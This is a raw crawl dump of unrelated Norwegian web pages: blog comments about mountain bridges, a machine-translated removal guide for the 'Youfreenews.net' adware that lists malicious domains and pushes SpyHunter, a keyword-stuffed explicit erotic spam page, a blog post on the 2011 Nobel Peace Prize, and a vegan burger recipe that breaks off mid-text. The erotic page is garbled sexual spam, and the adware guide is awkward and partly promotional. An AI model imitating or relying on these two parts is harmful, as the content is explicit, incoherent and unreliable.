\n\n\n\n\n\nGundaM sa...\n\nTrodde ikke jeg skulle bruke dette uttrykket i forbindelse med broer som binder,men jeg m\u00e5 det her inne hos deg;)  \n  \nDu og du for en s\u00f8t bro...\\!Da mener jeg den \u00f8verste. Kunne sklidd rett inn her hos meg den.  \nOg den nederste ser ut til \u00e5 v\u00e6re laga for \u00e5 dingle med beina;)  \n  \nHa en flott uke\\!\n\n 16:57    \n\n\n\n\n\nArneA sa...\n\nMenn leser bruksanvisning. Som gamel IT man er jeg ogs\u00e5 vant til \u00e5 lese manualer.  \nUser Guide til mitt nye kamera ble en utfordring ettersom den var vedlagt p\u00e5 CD kun lesbar med Adobe 6 og Mac OS X 10.4, mens jeg har Adobe 8 og Mac OS X 10.5.  \nL\u00f8sning:  \nLast ned CD p\u00e5 en gammel Mac Book G3. Send manualen 14 MB (234 sider) p\u00e5 mail til meg selv p\u00e5 ny maskin. MacBook Pro (Intel) \u00e5pne den via Preview\u00b4s skjulte muligheter, og vips er det bare \u00e5 begynne p\u00e5 side en. Det ble ikke tid til samtaler i g\u00e5r nei. Slik er jeg  \n:-)\n\n 17:31    \n\nThat is cool bridges...Did you really drive your bike over it? :)\n\n 17:36    \n\n \n\nAnemone sa...\n\nSom alltid min venn... 100% levering.  \n  \nSitter nesten med t\u00e5rer i \u00f8ynene og g\u00e5sehud og ser p\u00e5 det f\u00f8rste bilde. Kjenner at det n\u00e5r meg helt inn i sjela (har hodpine og ikke helt i form etter jobb i dag, s\u00e5 sikkert litt f\u00f8lelsesmessig i ulaget).  \n  \nHelt utrolig og finner ikke helt ord her jeg sitter, og DET er uvant for en skravleb\u00f8tte som meg.  \n  \nKlem herfra.\n\n 19:02    \n\n\n\n\n\nTruls sa...\n\nnydelige bilder av broer som alt for f\u00e5 av oss ser. Har du tid \u00e5 g\u00e5 av salen for \u00e5 komme det opp til disse du da?  \nJeg h\u00e5per at jeg snart ogs\u00e5 skal f\u00e5 fanget inn noen av disse, kanskje allerede denne sommeren.\n\n 19:13    \n\n \n\nchatrine sa...\n\nS\u00e5 h\u00e6rlige broer:) Men jeg tror jeg hadde tenkt meg om 2 ganger f\u00f8r jeg hadde krysset disse elvene;)  \nHa en finfin kveld\\!  \nKlem fra chatrine:)\n\n 19:38    \n\n\n\n\n\nPernille's ting og tang sa...\n\nKunne ikke ha gjort det bedre, Gawo\\! Jeg ELSKER fjellet til alle \u00e5rstider og broer m\u00e5 man ha. Men jeg er mest glad i slike sm\u00e5 s\u00f8te trebroer eller rett og slett bare en planke over. Jeg syns det er s\u00e5 vakkert n\u00e5r det kun er naturlige ting i naturen. Men det kommer det jo selvsagt an p\u00e5 elva/fossen. Noen plasser trenger en jo solide saker. \u00c5 jeg kunne ha v\u00e6rt der sammen med deg:) Nydelig innlegg:)  \nHa en flott kveld:)  \nHar du sett p\u00e5 utfordringa mi?\n\n 20:32    \n\n\n\n\n\nJohn sa...\n\nDette var veldig bra Gawo, flotte bilder med tilh\u00f8rende tekster.  \nVeldig bra brobygger post.  \nHa en fin kveld.\n\n 21:36    \n\n \n\nBerit sa...\n\nJa det er veldig greitt n\u00e5r vi kan komme over p\u00e5 folkevis, men en sn\u00f8-islagt, det m\u00e5 da v\u00e6re en utfordring\\!  \nDeilig er det \u00e5 g\u00e5 i flellet, \u00e5 g\u00e5 ned til bekken \u00e5 f\u00e5 i seg friskt vann, deilig.  \ndet er mange ildskjeler i turistforeneingene rundtom som gj\u00f8r en fabelakig jobb ute i naturen, slik at vi kan komme noenlunde t\u00f8rrskodd fram.  \nHa en fin kveld.\n\n 22:05    \n\n \n\nIda sa...\n\nVakkert, poetisk og takknemlig bro innlegg Gawo.  \nOg du verden s\u00e5 vakkert det er her i gamlelandet. :)\n\n 22:50    \n\n \n\nHildeS. sa...\n\nTusen takk til dei som gjer fjellet farbart for oss andre.  \nFlotte bruer b\u00e5de sommar og vinters tid.\n\n\n\nFlotte bilder- gleder m\u00e6 til lange fjellturer til sommeren.  \nFine natur bilder fra dine MC turer.  \nTakk for bes\u00f8k hos m\u00e6 og ha ei fin uke\\!\n\n \n\nKoselig koselig sa...\n\njeg hadde ikke turt \u00e5 g\u00e5 over den vinterbroa nei.. huuuuttetu. hadde plaska rett uti jeg hihihihi  \n:)  \n  \nn\u00e5 vil jeg ha skikkelig v\u00e5r jeg, er s\u00e5 lei av \u00e5 v\u00e5kne opp til t\u00e5kemorgen hver bidige dag\\!\n\n 18:34    \n\n \n\nIda sa...\n\nIngen ABC p\u00e5 deg i dag?  \nBoblen p\u00e5 bloggen min er en s\u00e5peboble.  \nSpeilbildet er huset v\u00e5rt. Synest selv at det ble stilig\\! ;)  \nMalin bl\u00e5ste mens jeg hoppet, l\u00f8p, kr\u00f8p osv. Tok x ant. bilder for \u00e5 f\u00e5 to som var bra. ;)  \nJobbe, jobbe... Hehe.\n\n 13:22    \n\n \n\nLillefix sa...\n\nAltfor lenge siden sist jeg var innom her... Og du har v\u00e6rt aktiv ute p\u00e5 turer som alltid :-) Kult bilde i den nye headingen her\\!  \nJeg tilbragte p\u00e5sken p\u00e5 dine kanter - eller rettere sagt langt uti havet p\u00e5 omtrent samme breddegrad. Og der sn\u00f8dde det. Ikke bare litt. Skif\u00f8re i Austrheim i mars er ganske respektabelt. Godt \u00e5 se at du har f\u00e5tt ut tohjulingen og at det v\u00e5res. Da kanskje det snart v\u00e5res her \u00f8stp\u00e5 ogs\u00e5...  \nHa en flott dag\\!\n\n 14:57    \n\n\n\n\n\nPernille's ting og tang sa...\n\nHeisan:) Savnet L'en din i dag, men skj\u00f8nner at du er opptatt. Du er vel ikke ute med sykkelen uten meg? Hi hi.  \nSkulle bare fortelle deg at HC og jeg har v\u00e6rt p\u00e5 jakt etter v\u00e5ren rundt om byen og omegn. S\u00e5 no ligger bildene fra turen p\u00e5 bloggen min og HC's p\u00e5 hennes blogg. Hun er nettopp begynt med blogging (foruten abc-w) og har s\u00e5 lyst til \u00e5 finne noen bloggvenner;)  \n  \nHa det fint hvor enn du er:)  \n  \nKlemz fra Pernille\n\n 16:33    \n\n\n\n\n\nPernille's ting og tang sa...\n\nHi hi, hvor skal jeg s\u00e5 \u00e5 haike neste onsdag?  \nS\u00e5 flott at du likte bildene. Lover deg sommerbilder fra Stenenset\\! Da har jeg jo en unnskyldning til \u00e5 dra dit igjen. Det er s\u00e5 flott der om sommeren\\!Pleier \u00e5 ta meg en rast ved en bitteliten bekk/foss og filosoferer over livet og hva som kanskje skjedde f\u00f8r den og den g\u00e5rden. Et lite yndlingsted\\!  \n  \nDu. L'en din i tankene er nydelig\\!  \n  \nHa en fin-fin kveld:)  \nBrooom broooom;)\n\n 21:10    \n\n \n\n\u00c5 det er s\u00e5 fint med slike sm\u00e5 bruer. Tenker alltid p\u00e5 bukkene bruse n\u00e5r jeg passerer slike : )\n\n 12:10    \n\n \n\n9na sa...\n\nS\u00e5 nydelige bilder igjen Gawo. Og interressant lesing og\u00e5, det der med h\u00f8yden over vannet pga sn\u00f8smelting osv., visste ikke det, men det er jo innlysende egentlig.\n\n 11:01    \n\n\n\n.jpg)\n\nrandi K design sa...\n\nJeg har s\u00e5 lyst til \u00e5 g\u00e5 i dine fotspor.. Du klarer \u00e5 fange skj\u00f8nnheten i alle ting rundt deg\\! Hipp hurra for Gawo\\!\\!\\!\n\n 16:08    \n\n## Om meg\n\n\n\n  - GAWO  \n    Vestlandsjente som mer enn gjerne farter rundt p\u00e5 2 hjul, ja det er meg. Enten det er en tr\u00f8skykkel, Vespa eller Gold Wing du ser langs veien s\u00e5 kan det v\u00e6re meg som suser forbi deg. Jeg trives i naturen og tar meg ogs\u00e5 en trimtur innimellom b\u00e5de hit og dit. P\u00e5 mine turer bruker jeg fotoapparatet flittig og etter hvert skal jeg vise hvor jeg har v\u00e6rt. Det er mye rart \u00e5 se langs veien.\n\n    \n\n## S\u00e5 sant som det er sagt\n\n  \nDenne har Ida laget og gitt til meg og andre. Og n\u00e5 har jeg ogs\u00e5 f\u00e5tt den av Mette\n\n\nTusen takk BeritT for dette nydelige hjerte fra deg\n\n    \n\n## Petunias\n\n  \nhvem blir ikke i godt hum\u00f8r av denne Awarden? Jeg har f\u00e5tt den av Petunia og Koselig-koselig\n\n    \n\n## Inspiring Blog\n\n  \nDenne flotte awarden har Ida laget og jeg har f\u00e5tt den som en gave fra henne og Pernille. Tusen takk jenter\n\n    \n\n## Jeg l\u00e6rer fra deg\n\n  \ndenne har jeg laget selv og gitt til flere, og ogs\u00e5 f\u00e5tt av Pernille og AnneBerit\n\n    \n\n## En serdeles hyggelig hilsen\n\nTusen takk Sterneglimt for at jeg fikk dette fine bilde\n\n    \n\n## Award\n\n  \nExklusivt fra Anemone. Hjertelig takk skal hun ha\n\n    \n\n## Award\n\n  \nPernille og Petunia synes jeg fortjener denne. Tusen takk skal dere ha jenter.\n\n    \n\n## Kreativ blogger\n\n  \nTusen takk Randi for at du synes jeg er kreativ\n\n    \n\n## Excellent Award\n\n  \nEn stor takk til Marie som synes jeg fortjener denne\n\n    \n\n## Award\n\n  \nen stor klem til Anemone for at hun ville gi meg denne\n\n    \n\n## \"Spread the Love Award\"\n\n  \nEn hjertelig takk til Anemone\n\n    \n\n## Award\n\n  \nTakk til Rune som har gitt meg denne\n\n## En hyggelig utmerkelse\n\n  \nsom jeg har f\u00e5tt av Marie, Ida, RuneE, BeritT og Pernille\n\n    \n\n## You make me smile\n\n  \nDenne fikk jeg av Ida. Og av HildeS. Tusen takk :-)\n\n", "language": "no", "__index_level_0__": "9196caba-822e-4d67-a36c-91e770fd8a1f"}
{"url": "http://www.pulsetheworld.com/no/fjern-youfreenews-net/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:45:42Z", "text": "# Fjerne Youfreenews.net\n\n** Martin Perry\n\n** Nettleser Hijacker\n\n## Tips om Youfreenews.net fjerning (avinstallasjon Youfreenews.net)\n\nV\u00e5re cyber sikkerhetseksperter har nylig kommet over en annonsetjener som ble kalt **Youfreenews.net**. Denne annonseserver er aktiv siden 1 mai 2017, og v\u00e5re forskere har funnet at denne bestemte serveren er orientert mot russiske engelsktalende land. Denne annonseserver kan vise mange reklame av tvilsom legitimitet.\n\nDen d\u00e5rlige nyheten er at denne annonseserver kan angi PCen hemmelighet og begynne \u00e5 vise annonser uten ditt samtykke. Derfor foresl\u00e5r vi at du fjerner Youfreenews.net fra PCen f\u00f8r noe d\u00e5rlig skjer. For mer informasjon om denne annonsen server, kan du lese hele denne artikkelen.\n\n\n\nF\u00f8r vi g\u00e5r videre, vil vi snakke om hvordan annonsen serveren kan f\u00e5 p\u00e5 datamaskinen. Malware analytikere har konkludert med at du kan f\u00e5 Youfreenews.net installert en skadelig programvare bunt som installerer denne annonseserver av skjulemodus. Forskere har funnet bestemt type pakke som har denne serveren er installmonstr/installmonster programvaren bunten. Denne villedende programvare bunt kan bli navngitt som FlashPlayerPro.exeJava, Plugin.exe, MaxTorrent.exe, FFPsetup.exe, install\\_flashplayer11x32\\_mssa\\_aaa\\_aih.exe, t5235.torrent.exe og muligens mange andre. Denne pakken kalles kommunisere med flere domener som tmserver-1.com, naum.klerose.ru, word-model.top, cdn.telomor1.com og opticisopositive.link. Denne pakken kalles ogs\u00e5 funksjonen programvare MediaPlayAir andThe Desktop V\u00e6r 126.96.36.19932. S\u00e5 du b\u00f8r v\u00e6re klar over at n\u00e5r du installerer nevnte programvare, PCen kan ogs\u00e5 bli infisert med Youfreenews.net.\n\nHvis Youfreenews.net f\u00e5r p\u00e5 PC, b\u00f8r du vite m\u00e5ten som det vil fungere. Forskere sier at det legges en oppstart-objekt til \u00e5 starte sammen med Microsoft Windows eller kan legges til som en planlagt oppgave \u00e5 \u00e5pne hver time. Uansett hva tilfellet kan v\u00e6re resultatet av \u00e5 ha den p\u00e5 din PC vil v\u00e6re konstant omadresserer \u00e5 annonseservere. Vi har funnet at det vil viderekoble deg dusinvis av servere. For eksempel vil Youfreenews.net viderekoble deg gjennom linkmyc.com, wonderlandads.com, ovsusy.info, go.leadgid.ru. Det vil deretter viderekoble deg til steder som traff1.ru, traff-1.ru, atraff-2.ru, atraff4.ru, atraff5.ru og dusinvis av andre. Vi har funnet at det vil fremme russisk spr\u00e5k nettsteder. Men har tester vist at det kan noen ganger viderekoble deg til steder som Videodownloadconverter.com som har en u\u00f8nsket program kalt Video nedlasting Converter produsert av Mindspark interaktiv Network, en kjent utvikleren av up\u00e5litelig programvare som endrer leserinnstillinger for \u00e5 vise annonser.\n\n## Hvor \u00e5 fjerne Youfreenews.net?\n\nSom du kan se, kan denne annonseserver viser ganske up\u00e5litelig annonser kan omdirigere og fortsette omdirigere til alle slags skyggefulle nettsteder. Derfor tror vi at du m\u00e5 fjerne Youfreenews.net s\u00e5 snart som mulig som sine annonser er irriterende, og vil hemme din sm\u00e5leser erfaring. Men viktigst, annonsene kommer fra up\u00e5litelige kilder og dermed PCen kan bli infisert med skadelig programvare, som annonseprogrammer, kikker hijackers, og s\u00e5 videre. \u00d8nsker du denne annonsen serveren fjernes fra din PC, s\u00e5 vi foresl\u00e5r at du f\u00e5r v\u00e5re utvalgte anti-malware verkt\u00f8y kalt SpyHunter og bruke sin gratis skanner \u00e5 oppdage alle skadelige filer og slette Youfreenews.net manuelt.\n\n### **L\u00e6re \u00e5 fjerne Youfreenews.net fra datamaskinen\n\n", "language": "no", "__index_level_0__": "922a5a1c-5457-4ea0-8561-aa80c3ea8519"}
{"url": "http://foodsecurity2012.eu/jentekos-erotikk", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:37:04Z", "text": "# Jentekos erotikk\n\n\n\nJenter \u2014 lesbisk En uke igjen til moren og faren min skulle reise bort p\u00e5 ferie til Paris. Bevegelsene hennes gikk litt saktere f\u00f8r hun hevet hodet, smilte og lo ondskapsfullt mens jeg slapp ut st\u00f8nn og banneord om hverandre. Jeg h\u00f8rte at orgasmen hennes n\u00e6rmet seg, og jeg hadde n\u00e5 tre fingre porno bergen norske pupper inne i henne, s\u00e5 langt jeg klarte. Dette hente ei helg\u00a0 jeg var bortreist p\u00e5 kurs, skulle v\u00e6re borte fra kona ei hel helg, og det var *jentekos erotikk* stund siden sist jeg hadde v\u00e6rt, og i tillegg var ikke sexlivet v\u00e5rt helt p\u00e5 topp fortiden, var blitt litt kj\u00f8lig. \u00d8ynene gled over **jentekos erotikk,** vibratorer og oljer. \n\n| Jentekos erotikk                   | 471                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |\n| Jentekos erotikk                   | Big booty anal eskorte dating                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |\n| Linni meister rumpe latex undert\u00f8y | Jeg kjente det sitret med engang i hele kroppen n\u00e5r jeg s\u00e5 de vakre brystene hennes, og deler av formene av kroppen hennes, nydelig dame som jeg absolutt kunne tenkt meg \u00e5 hatt sex med, hadde absolutt ikke nektet. Hun st\u00f8nnet og jeg slapp ut et ekstatisk gisp da hun lot en finger *jentekos erotikk* inn **jentekos erotikk** meg. Jeg f\u00f8lte meg etter hvert litt tr\u00f8tt, og sa at jeg trekker meg tilbake. Men det var trappen opp til underbust korsett oslo swingers etasje som lokket denne gangen. Bevegelsene hennes gikk litt saktere f\u00f8r hun hevet hodet, smilte og lo ondskapsfullt mens jeg slapp ut st\u00f8nn og banneord om hverandre. Hun hadde v\u00e6rt her f\u00f8r, opp til flere ganger. P\u00e5 fremsiden mot sv\u00f8mmebassenget er det en sammenhengende terrasse med \u00e5pning mellom v\u00e5r og naboens leilighet.                                 |\n| Jentekos erotikk                   | Jeg stoppet opp litt da jeg synes \u00e5 h\u00f8re merkelig lyder fra soverommet, s\u00e5 jeg listet meg stille mot soverommet til meg og Else. N\u00e5 var jeg s\u00e5 k\u00e5t og stiv i buksa, at jeg uten sex videoer dikt om sex ha registrert det tatt kuken ut av buksa, og runket kuken lett og *jentekos erotikk* meg selv over ballene, tenkte p\u00e5 at det var Lene som gjorde dette, og at Lene ville ta kuken\u00a0 min i munnen og *jentekos erotikk* kuken\u00a0 min skikkelig, f\u00f8r hun ville at jeg skulle pule henne. Vi bor i 2 etg. Hun var veldig v\u00e5t, vi st\u00f8nnet begge to. Men dette hadde Nina tenkt og planlagt ei god stund n\u00e5, s\u00e5 hun rettet seg opp og \u00e5pnet d\u00f8ra inn til den erotiske butikken. Og vi er f\u00f8rst med det nyeste innen sexleket\u00f8y fra Fun Factory, Lelo, Nexus, Fleshlight, tantus, cloneboy, rock chic, tongue joy og vixen, bare for \u00e5 nevne noen. |\n\n13.07.2016\n\n jentekos erotikk.\n", "language": "no", "__index_level_0__": "3bbf753b-3f52-4c9e-9138-4acc69926522"}
{"url": "http://www.liberaleren.no/2011/10/07/fredsprisen-viktig-s%C3%B8kelys-pa-kvinners-situasjon/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:08:48Z", "text": "  \n**\".. befriende fritt for kristenkonservativisme, nasjonalisme og innvandringsskepsis.\" H\u00e5kon Haugli, tidl. stortingsrepresentant (Ap)**\n\n# Fredsprisen: Viktig s\u00f8kelys p\u00e5 kvinners situasjon\n\nav Per Aage Pleym Christensen | 7. oktober 2011 kl. 12.33 | 1 kommentar\n\nFredsprosessen i Liberia og den arabiske demokrativ\u00e5ren \u2013 med fokus p\u00e5 Jemen \u2013 var hva Nobelkomiteen bel\u00f8nnet med Nobels fredsprisen for 2011. Det underliggende temaet er kvinners stilling for fred og forsoning. Dene ene vinneren, Leymah Gbowee, deltok p\u00e5 Oslo Freedom Forum 2011.  \n  \n\u00c5rets fredspris er en viktig pris b\u00e5de n\u00e5r det gjelder kvinners bidrag og n\u00e5r det gjelder kvinners k\u00e5r som deltagere i den politiske prosessen. Afrika og Midt-\u00d8sten er et omr\u00e5de av verden der kvinner har ekstra store utfordringer med \u00e5 delta i dagliglivet utenfor sin egen d\u00f8r, for ikke \u00e5 snakke om \u00e5 delta i samfunnslivet som likeverdige deltagere med menn. I muslimske land har kvinner f\u00e5 rettigheter. Saudi-Arabia trekkes gjerne frem som et skrekkens eksempel p\u00e5 land hvor kvinner er ber\u00f8vet selv de mest element\u00e6re rettigheter som individer. Bare p\u00e5 grunn av sitt kj\u00f8nn.\n\nImidlertid er Afrika ogs\u00e5 et kontintent preget av mange kriger og v\u00e6pnede konflikter. Det er mange internt fordrevne flyktninger. S\u00e6rlig kvinnene er utsatt for overgrep i forbindelse med disse konfliktene. Blant annet brukes voldtekt som v\u00e5pen mot kvinner.\n\n\u00c5rets tildeling av Nobels fredspris har satt s\u00f8kelyset p\u00e5 kvinners situasjon i denne regionen, deres utfordringer med \u00e5 delta i samfunnslivet og politikken spesielt \u2013 og overgrepene som skjer mot kvinner som v\u00e5ger \u00e5 engasjere seg.\n\nEllen Johnson Sirleaf er definitivt den mest kjente av dem. President i Liberia siden 2005. Hun bidro til \u00e5 f\u00e5 slutt p\u00e5 borgerkrigen i Liberia, og hun ble Afrikas f\u00f8rste demokratisk valgte kvinnelige president. 11.oktober, om f\u00e5 dager, er det p\u00e5 nytt presidentvalg i Liberia, der Johnson Sirleaf er kandidat. Hun kritiserte den milit\u00e6re innblandingen i konflikten i Libya, men har senere erkl\u00e6rt at Muammar al-Gadafi har mistet legitimiteten til \u00e5 styre Libya.\n\nDen andre av \u00e5rets fredsprisvinnere fra Liberia, Leymah Gbowee, er en gressrotaktivist som ledet en b\u00f8nnekampanje for kvinner \u2013 p\u00e5 tvers av etniske og religi\u00f8se skillelinjer. Hennes bevegelse har f\u00e5tt hoved\u00e6ren for at borgerkrigen i Liberia tok slutt, og Ellen Johnson Sirleaf kunne innta presidentembedet. Det er verdt \u00e5 merke seg at Leymah Gbowee ogs\u00e5 har v\u00e6rt i Norge for \u00e5 dele sine erfaringer med ikkevoldelig fredsarbeid.\n\nOslo Freedom Forum ble i \u00e5r arrangert for tredje gang, og fokuset var spesielt rettet mot det som kalles \u00abden arabiske v\u00e5ren\u00bb, men naturligvis ogs\u00e5 p\u00e5 fredsarbeid og menneskerettigheter generelt. Leymah Gbowee deltok, og holdt foredraget \u00abPraise the devil back to hell\u00ab. OFF har skrevet om henne p\u00e5 sin hjemmeside.\n\nJemen, landet lengst syd p\u00e5 Den arabiske halv\u00f8y, har v\u00e6rt i fokus mesteparten av 2011 p\u00e5 grunn av kampen innbyggerne f\u00f8rer mot landets diktatur. Den tredje av \u00e5rets vinnere av Nobels fredspris, Tawakkul Karman kommer fra Jemen, og har lenge v\u00e6rt engasjert i arbeidet for demokrati og fred. Hun leder organisasjonen \u00abKvinnelige journalister uten lenker\u00bb. Hun kastet niqaben i tross. Hun er med i arbeidet for \u00e5 fjerne landets president gjennom mer enn 30 \u00e5r, Ali Abdullah Saleh. Hun har allerede tilegnet prisen til demokratikampanjen i hjemlandet. Gjennom \u00e5 inkludere henne i fredsprisen har Nobelkomiteen b\u00e5de f\u00e5tt med seg den arabiske demokrativ\u00e5ren og ytringsfrihet som forutsetning for fred.\n\n*Det er grunn til \u00e5 glede seg over \u00e5rets tildeling. Aktivistisk, ikkevoldelig fredsarbeid, demokrati, ytringsfrihet, kvinners stilling generelt og deltagelse i samfunnslivet spesielt er alle temaer som er inkludert i \u00e5rets fredspris. Man er dermed kommet n\u00e6rmere de \u00f8nskene Alfred Nobel fremmet i sitt testamente.*\n\nNobelkomiteens begrunnelse\n\n1.  **Verdige fredsprisvinnere\\! \u00ab Grenser for Politikk** | 7. oktober 2011 kl 13.41\n      - **Forslag til ny personopplysningslov**\n        \n        Regjeringen har lagt frem forslag til ny personopplysningslov, if\u00f8lge Justis- og beredskapsdepartementet.\n    \n      - **Betalte for mye penger**\n        \n        Finnmarkssykehuset skulle ha betalt en tysk entrepren\u00f8r 3,6 millioner kroner, men endte opp med \u00e5 betale over 40 millioner. Dette if\u00f8lge NRK.\n        \n        Etter at Finnmarkssykehuset ble klar over at millioner av kroner var p\u00e5 avveie, har de bedt entrepren\u00f8ren om \u00e5 tilbakebetale pengene, uten at det har skjedd.\n    \n      - **Over 140 000 elbiler i Norge**\n        \n        Tallet p\u00e5 registrerte elbiler i Norge var 142 490 ved inngangen til 2018. Det er en \u00f8kning p\u00e5 over 40 prosent fra \u00e5ret f\u00f8r, if\u00f8lge Statistisk sentralbyr\u00e5.\n        \n        Politikerne har gjennom avgiftspolitikken gitt elbiler konkurransefortrinn.\n    \n      - **\u00d8kt grensehandel**\n        \n        Nordmenn brukte 15,1 milliarder kroner p\u00e5 grensehandel i 2017 mot 13,8 milliarder kroner i 2016, if\u00f8lge tall fra Statistisk sentralbyr\u00e5.\n        \n        Norske avgifter vedtatt av Stortinget har mye av \u00e5ren for at utenlandske bedrifter tjener penger p\u00e5 nordmenn. Det er p\u00e5 Stortinget tverrpolitisk enighet om mange avgiftene.\n        \n        Avgifter skal regulere forbruk, men ogs\u00e5 finansiere en gigantisk offentlig sektor.\n    \n      - **Historisk f\u00e5 lovbrudd anmeldt i 2017**\n        \n        Politiet og p\u00e5talemyndigheten registrerte 318 600 lovbrudd i fjor. Det laveste antallet i statistikkens 25-\u00e5rige historie, if\u00f8lge Statistisk sentralbyr\u00e5.\n        \n        Det er mulig \u00e5 bruke tallene p\u00e5 mange m\u00e5ter, alt fra i innvandringsdebatter til politiets krav om flere virkemiddel for \u00e5 bekjempe kriminalitet.\n    \n      - **Rapporteringsplikt for deleplattformer**\n        \n        Finansdepartementet har sendt p\u00e5 h\u00f8ring forslag om en plikt for digitale plattformer til \u00e5 rapportere til Skatteetaten, if\u00f8lge Regjeringen.no.\n    \n      - **Endringer i regjeringsapparatet**\n        \n        Tirsdag morgen trakk Sylvi Listhaug seg som justis-, beredskaps- og innvandringsminister, eller fikk avskjed i n\u00e5de som det heter offisielt. Dette har f\u00f8rt til endringer blant statssekret\u00e6rene, if\u00f8lge Statsministerens kontor.\n        \n        Statsr\u00e5d Per Sandberg har overtatt styret av Justis- og beredskapsdepartementet, i tillegg til det ansvarsomr\u00e5det han i dag har i N\u00e6rings- og fiskeridepartementet.\n    \n      - **Hvordan gikk det med dem som sluttet i petroleumsn\u00e6ringene?**\n        \n        Av dem som sluttet i petroleumsn\u00e6ringene f\u00f8rste halv\u00e5r 2016, var 57 prosent i jobb et halvt \u00e5r senere. Andelen i jobb var minst i Rogaland, if\u00f8lge Statistisk sentralbyr\u00e5.\n    \n      - **En spennende tirsdag**\n        \n        Det er fortsatt sv\u00e6rt f\u00e5 som vet hva statsminister Erna Solberg gj\u00f8r p\u00e5 tirsdag n\u00e5r mistillitsforslaget mot justis-, beredskaps- og innvandringsminister Sylvi Listhaug (FrP) skal opp i Stortinget.\n        \n        Etter landsstyrem\u00f8tet i KrF tyder mye p\u00e5 at Erna Solberg m\u00e5 gi et nytt departement til Listhaug, eller at Listhaug m\u00e5 tilbake til Stortinget. Regjeringen b\u00f8r ikke g\u00e5 av p\u00e5 denne saken\\!\n    \n      - **Det religi\u00f8se Norge endrer seg**\n        \n        Kirkestatistikken til Statistisk sentralbyr\u00e5 viser at f\u00e6rre g\u00e5r i gudstjenester og f\u00e6rre barn blir d\u00f8pt.\n\n", "language": "no", "__index_level_0__": "e216cd27-aac7-4d22-bd55-91b758b4b73d"}
{"url": "https://veganeren.com/2011/03/verdens-beste-burgere/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:43:07Z", "text": "# Verdens beste burgere\n\nWritten by Cathrine Ottesen on mars 29, 2011  in B\u00f8nner og linser, Burgere, boller, p\u00f8lser og karbonader, Hovedretter\n\nDisse fikk jeg oppskriften p\u00e5 av min kokke-kamerat, Jim. S\u00e5 de heter Jimburgere\\! Fnis.  \nDe er vanvittig gode, krydderblandingen og ikke minst eddiken (ikke sl\u00f8yf den\\!) er midt i blinken og gj\u00f8r dem bare uimotst\u00e5elige\\!\n\nJeg har laget dem et utall ganger n\u00e5, og varierer dem litt hver gang for \u00e5 finne nye favorittsmaker. Man kan jo gj\u00f8re dem til det man selv vil, feks. indiske, kinesiske, kj\u00f8ttkakesmak, ja det meste. Bruk de krydderne du vil, men jeg vil anbefale \u00e5 f\u00f8lge oppskriften f\u00f8rste gangen s\u00e5 man f\u00e5r smake dem som de er, og s\u00e5 variere etterp\u00e5.\n\nMin favoritt til n\u00e5, er varianten der jeg tilsatte hakkede solt\u00f8rkede tomater i olje, en boks svarte b\u00f8nner i tillegg til kidneyb\u00f8nner, samt en boks maiskorn. Og s\u00e5 brukte jeg litt mindre ingef\u00e6rpaste samt balsamico-eddik i stedet for vanlig eddik (og litt mindre mengde av den). De ble knallgode\\!\n\nHer er oppskriften p\u00e5 originale Jimburgere. Jeg har delt den i fire siden det er en restaurantoppskrift som er ganske stor, og jeg har gjort noen bittesm\u00e5 endringer etter egen smak. Jeg f\u00e5r ca. 20 burgere (avhengig av st\u00f8rrelse) ut av denne oppskriften, og det funker fint \u00e5 fryse dem ned. Har du en kj\u00f8kkenvekt som kan nullstilles mellom hver ingrediens, g\u00e5r m\u00e5lingen som en lek.\n\n**JIMBURGERE**\n\nSett ovnen p\u00e5 180 grader.\n\n2 bokser kidneyb\u00f8nner (eller 1 boks kidneyb\u00f8nner + en boks sorte b\u00f8nner)  \n50 gram tomatpur\u00e9  \n12 gram ingef\u00e6rpaste  \n2 ss spisskummen (nei, det er IKKE det samme som karve, m\u00e5 overhodet ikke forveksles\\!)  \n2 ss eddik, gjerne balsamico  \n0,5 ss Madras curry  \n0,5 ss muskat  \n2,5 ss oregano  \n50 gram sm\u00e5 havregryn  \n12,5 gram solsikkekjerner  \n10 gram sukker  \n1 kinesisk hvitl\u00f8k + 0,5 dl olje  \n200 gram renset l\u00f8k, gjerne r\u00f8dl\u00f8k  \n250 gram kokt potet (jeg sl\u00f8yfet dem sist, men de blir saftigere med potet s\u00e5 de er egentlig et must)  \n14 gram havsalt  \n3-5 toppede ss maisennamel (ikke instant)\n\nHa b\u00f8nnene i et d\u00f8rslag og skyll dem godt, la dem renne av. Ha hvitl\u00f8ken i food processoren sammen med oljen og kj\u00f8r det til paste. Tilsett alt krydderet, tomatpureen, eddiken og potetene i sm\u00e5biter og kj\u00f8r det til en masse. Tilsett b\u00f8nner, havregryn og solsikkekjerner og ca. 3 ss maisenna og pulse maskinen til det er grovt blandet. Ha massen i en litt stor bolle og jobb inn evt. mer maisenna om det trengs. Massen kan v\u00e6re ganske bl\u00f8t, men den skal kunne formes noenlunde. IKKE ha i for mye maisenna, da kan de bli t\u00f8rre, de skal alts\u00e5 v\u00e6re litt bl\u00f8te og p\u00e5 grensen til uformelige. Da blir de best.\n\nForm baller med hendene og trykk dem litt flate p\u00e5 ei fj\u00f8l. Vend dem evt. i sesamfr\u00f8, det anbefales, selv om fr\u00f8ene spruter hit og dit under steking. Artig.  \nTa frem en stekepanne og ha endel olje oppi, det m\u00e5 v\u00e6re litt mye siden burgerne trekker til seg oljen og de blir ikke gode n\u00e5r de t\u00f8rrstekes. S\u00e5 ikke v\u00e6r gnien med oljen her. Jeg bruker som regel kokosfett, det t\u00e5ler god varme.  \nStek burgerne til de f\u00e5r litt skorpe p\u00e5 begge sider, ikke for lenge. S\u00e5 etterstekes de i ovnen p\u00e5 bakepapir i ca. 8-10 minutter. Igjen, ikke stek dem for lenge, heller litt for lite. Jeg stekte dem litt for lenge sist, og de ble gode men alts\u00e5 